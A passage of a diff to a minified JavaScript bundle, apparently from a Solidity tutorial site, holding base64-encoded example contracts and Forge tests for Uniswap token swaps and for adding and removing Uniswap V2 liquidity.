W50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50TWluID0gMTsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50SW4od2V0aEFtb3VudCwgZGFpQW1vdW50TWluKTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRJbiA9IDFlMTg7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRJbik7CgogICAgICAgIHVpbnQyNTYgdXNkY0Ftb3VudE91dE1pbiA9IDE7CiAgICAgICAgdWludDI1NiB1c2RjQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oZGFpQW1vdW50SW4sIHVzZGNBbW91bnRPdXRNaW4pOwoKICAgICAgICBjb25zb2xlMi5sb2coIlVTREMiLCB1c2RjQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZSh1c2RjQW1vdW50T3V0LCB1c2RjQW1vdW50T3V0TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgIGZ1bmN0aW9uIHRlc3RTd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICB1aW50MjU2IGRhaUFtb3VudERlc2lyZWQgPSAxZTE4OwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dChkYWlBbW91bnREZXNpcmVkLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],Jm=`

                    swapExactTokensForTokens sells all tokens for another.

                    swapTokensForExactTokens buys specific amount of tokens set by the caller.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -5799,7 +5799,7 @@ Topics
         );
     }
 }
-
                    `,Dm=({prev:s,next:a})=>r.jsx(A,{version:Mm,title:Sm,description:xm,html:zm,prev:s,next:a,codes:Jm}),Em="0.8.24",Qm="Uniswap V2 Add Remove Liquidity",Tm="Uniswap V2 add remove liquidity",Um=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZGRyZXNzIF90b2tlbkEsIGFkZHJlc3MgX3Rva2VuQikgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgcGFpciA9IElVbmlzd2FwVjJGYWN0b3J5KEZBQ1RPUlkpLmdldFBhaXIoX3Rva2VuQSwgX3Rva2VuQik7CgogICAgICAgIHVpbnQyNTYgbGlxdWlkaXR5ID0gSUVSQzIwKHBhaXIpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzYWZlQXBwcm92ZShJRVJDMjAocGFpciksIFJPVVRFUiwgbGlxdWlkaXR5KTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCKSA9IElVbmlzd2FwVjJSb3V0ZXIoUk9VVEVSKQogICAgICAgICAgICAucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBsaXF1aWRpdHksIDEsIDEsIGFkZHJlc3ModGhpcyksIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50MjU2IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcwogICAgICAgICAgICAgICAgJiYgKHJldHVybkRhdGEubGVuZ3RoID09IDAgfHwgYWJpLmRlY29kZShyZXR1cm5EYXRhLCAoYm9vbCkpKSwKICAgICAgICAgICAgIlRyYW5zZmVyIGZyb20gZmFpbCIKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgYXBwcm92ZSBmdW5jdGlvbiBtYXkgb3IgbWF5IG5vdCByZXR1cm4gYSBib29sLgogICAgICogVGhlIEVSQy0yMCBzcGVjIHJldHVybnMgYSBib29sLCBidXQgc29tZSB0b2tlbnMgZG9uJ3QgZm9sbG93IHRoZSBzcGVjLgogICAgICogTmVlZCB0byBjaGVjayBpZiBkYXRhIGlzIGVtcHR5IG9yIHRydWUuCiAgICAgKi8KICAgIGZ1bmN0aW9uIHNhZmVBcHByb3ZlKElFUkMyMCB0b2tlbiwgYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBpbnRlcm5hbAogICAgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC5hcHByb3ZlLCAoc3BlbmRlciwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJBcHByb3ZlIGZhaWwiCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQyNTYgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV2LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0CiAgICAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12Mi1hZGQtcmVtb3ZlLWxpcXVpZGl0eS9Vbmlzd2FwVjJMaXF1aWRpdHkuc29sIjsKCklFUkMyMCBjb25zdGFudCBXRVRIID0gSUVSQzIwKDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMik7CklFUkMyMCBjb25zdGFudCBVU0RUID0gSUVSQzIwKDB4ZEFDMTdGOTU4RDJlZTUyM2EyMjA2MjA2OTk0NTk3QzEzRDgzMWVjNyk7CklFUkMyMCBjb25zdGFudCBQQUlSID0gSUVSQzIwKDB4MGQ0YTExZDVFRWFhQzI4RUMzRjYxZDEwMGRhRjRkNDA0NzFmMTg1Mik7Cgpjb250cmFjdCBVbmlzd2FwVjJBZGRMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgVW5pc3dhcFYyQWRkTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkFkZExpcXVpZGl0eSgpOwoKICAgIC8vICBBZGQgV0VUSC9VU0RUIExpcXVpZGl0eSB0byBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0QWRkTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIHRlc3QgVVNEVCBhbmQgV0VUSCB0byB0aGlzIGNvbnRyYWN0CiAgICAgICAgZGVhbChhZGRyZXNzKFVTRFQpLCBhZGRyZXNzKHRoaXMpLCAxZTYgKiAxZTYpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBVU0RULmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgMWU2ICogMWU2LCAiVVNEVCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwogICAgICAgIGRlYWwoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWUxOCk7CiAgICAgICAgYXNzZXJ0RXEoCiAgICAgICAgICAgIFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCAxZTYgKiAxZTE4LCAiV0VUSCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwoKICAgICAgICAvLyBBcHByb3ZlIHVuaSBmb3IgdHJhbnNmZXJyaW5nCiAgICAgICAgc2FmZUFwcHJvdmUoV0VUSCwgYWRkcmVzcyh1bmkpLCAxZTY0KTsKICAgICAgICBzYWZlQXBwcm92ZShVU0RULCBhZGRyZXNzKHVuaSksIDFlNjQpOwoKICAgICAgICB1bmkuYWRkTGlxdWlkaXR5KGFkZHJlc3MoV0VUSCksIGFkZHJlc3MoVVNEVCksIDEgKiAxZTE4LCAzMDAwLjA1ICogMWU2KTsKCiAgICAgICAgYXNzZXJ0R3QoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgInBhaXIgYmFsYW5jZSAwIik7CiAgICB9CgogICAgLy8gUmVtb3ZlIFdFVEgvVVNEVCBMaXF1aWRpdHkgZnJvbSBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0UmVtb3ZlTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIExQIHRva2VucyB0byB1bmkKICAgICAgICBkZWFsKGFkZHJlc3MoUEFJUiksIGFkZHJlc3ModW5pKSwgMWUxMCk7CiAgICAgICAgYXNzZXJ0RXEoUEFJUi5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMWUxMCwgIkxQIHRva2VucyBiYWxhbmNlID0gMCIpOwogICAgICAgIGFzc2VydEVxKFVTRFQuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJVU0RUIGJhbGFuY2Ugbm9uLXplcm8iKTsKICAgICAgICBhc3NlcnRFcShXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlIG5vbi16ZXJvIik7CgogICAgICAgIHVuaS5yZW1vdmVMaXF1aWRpdHkoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyhVU0RUKSk7CgogICAgICAgIGFzc2VydEVxKFBBSVIuYmFsYW5jZU9mKGFkZHJlc3ModW5pKSksIDAsICJMUCB0b2tlbnMgYmFsYW5jZSAhPSAwIik7CiAgICAgICAgYXNzZXJ0R3QoVVNEVC5iYWxhbmNlT2YoYWRkcmVzcyh1bmkpKSwgMCwgIlVTRFQgYmFsYW5jZSA9IDAiKTsKICAgICAgICBhc3NlcnRHdChXRVRILmJhbGFuY2VPZihhZGRyZXNzKHVuaSkpLCAwLCAiV0VUSCBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgdHJhbnNmZXJGcm9tIGZ1bmN0aW9uIG1heSBvciBtYXkgbm90IHJldHVybiBhIGJvb2wuCiAgICAgKiBUaGUgRVJDLTIwIHNwZWMgcmV0dXJucyBhIGJvb2wsIGJ1dCBzb21lIHRva2VucyBkb24ndCBmb2xsb3cgdGhlIHNwZWMuCiAgICAgKiBOZWVkIHRvIGNoZWNrIGlmIGRhdGEgaXMgZW1wdHkgb3IgdHJ1ZS4KICAgICAqLwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgaW50ZXJuYWwgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC50cmFuc2ZlckZyb20sIChzZW5kZXIsIHJlY2lwaWVudCwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJUcmFuc2ZlciBmcm9tIGZhaWwiCiAgICAgICAgKTsKICAgIH0KCiAgICAvKioKICAgICAqIEBkZXYgVGhlIGFwcHJvdmUgZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlQXBwcm92ZShJRVJDMjAgdG9rZW4sIGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpCiAgICAgICAgaW50ZXJuYWwKICAgIHsKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgcmV0dXJuRGF0YSkgPSBhZGRyZXNzKHRva2VuKS5jYWxsKAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbChJRVJDMjAuYXBwcm92ZSwgKHNwZW5kZXIsIGFtb3VudCkpCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBzdWNjZXNzCiAgICAgICAgICAgICAgICAmJiAocmV0dXJuRGF0YS5sZW5ndGggPT0gMCB8fCBhYmkuZGVjb2RlKHJldHVybkRhdGEsIChib29sKSkpLAogICAgICAgICAgICAiQXBwcm92ZSBmYWlsIgogICAgICAgICk7CiAgICB9Cn0K"}],_m=`

                    Add / Remove Liquidity

                    +`,zm=({prev:s,next:a})=>r.jsx(A,{version:Fm,title:Mm,description:Sm,html:Jm,prev:s,next:a,codes:xm}),Dm="0.8.24",Em="Uniswap V2 Add Remove Liquidity",Qm="Uniswap V2 add remove liquidity",Tm=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZGRyZXNzIF90b2tlbkEsIGFkZHJlc3MgX3Rva2VuQikgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgcGFpciA9IElVbmlzd2FwVjJGYWN0b3J5KEZBQ1RPUlkpLmdldFBhaXIoX3Rva2VuQSwgX3Rva2VuQik7CgogICAgICAgIHVpbnQyNTYgbGlxdWlkaXR5ID0gSUVSQzIwKHBhaXIpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzYWZlQXBwcm92ZShJRVJDMjAocGFpciksIFJPVVRFUiwgbGlxdWlkaXR5KTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCKSA9IElVbmlzd2FwVjJSb3V0ZXIoUk9VVEVSKQogICAgICAgICAgICAucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBsaXF1aWRpdHksIDEsIDEsIGFkZHJlc3ModGhpcyksIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50MjU2IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcwogICAgICAgICAgICAgICAgJiYgKHJldHVybkRhdGEubGVuZ3RoID09IDAgfHwgYWJpLmRlY29kZShyZXR1cm5EYXRhLCAoYm9vbCkpKSwKICAgICAgICAgICAgIlRyYW5zZmVyIGZyb20gZmFpbCIKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgYXBwcm92ZSBmdW5jdGlvbiBtYXkgb3IgbWF5IG5vdCByZXR1cm4gYSBib29sLgogICAgICogVGhlIEVSQy0yMCBzcGVjIHJldHVybnMgYSBib29sLCBidXQgc29tZSB0b2tlbnMgZG9uJ3QgZm9sbG93IHRoZSBzcGVjLgogICAgICogTmVlZCB0byBjaGVjayBpZiBkYXRhIGl